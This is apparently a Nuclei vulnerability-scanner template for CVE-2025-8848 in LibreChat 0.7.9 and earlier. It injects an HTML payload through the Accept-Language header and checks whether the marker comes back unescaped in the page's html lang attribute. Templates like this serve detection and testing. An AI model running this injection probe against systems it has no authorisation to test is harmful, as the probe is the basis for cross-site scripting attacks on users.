id: CVE-2025-8848

info:
  name: LibreChat <= 0.7.9 - HTML Injection via Accept-Language Header
  author: Kazgangap
  severity: medium
  description: |
    danny-avila/librechat 0.7.9 contains a stored XSS caused by improper sanitization of the Accept-Language header, letting logged-in users inject arbitrary HTML into the html lang= tag, exploit requires user to be logged in.
  impact: |
    Logged-in attackers can inject arbitrary HTML leading to cross-site scripting attacks, potentially compromising user sessions or data.
  remediation: |
    Update to the latest version where this issue is fixed.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-8848
    - https://huntr.com/bounties/a05ebc1f-882a-4adc-b178-d3cefa4b730e
    - https://github.com/danny-avila/LibreChat
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-8848
    epss-score: 0.00016
    epss-percentile: 0.03776
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    fofa-query: app="LibreChat"
  tags: cve,cve2025,librechat,html-injection

variables:
  marker: "{{rand_base(20)}}"

http:
  - method: GET
    path:
      - "{{BaseURL}}/"
    headers:
      Accept-Language: "<h3>{{marker}}</h3>"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '<html lang="<h3>{{marker}}</h3>">'
          - 'LibreChat'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402206ad326c157bc8f70bbda0d5aa7f175fff219559fc9cc8810500cbf1b48792e35022026722c4d66ffd3079559fe2f64bb25f7b8abbfb5b0eb6c59c1e222b627843470:922c64590222798bb761d5b6d8e72950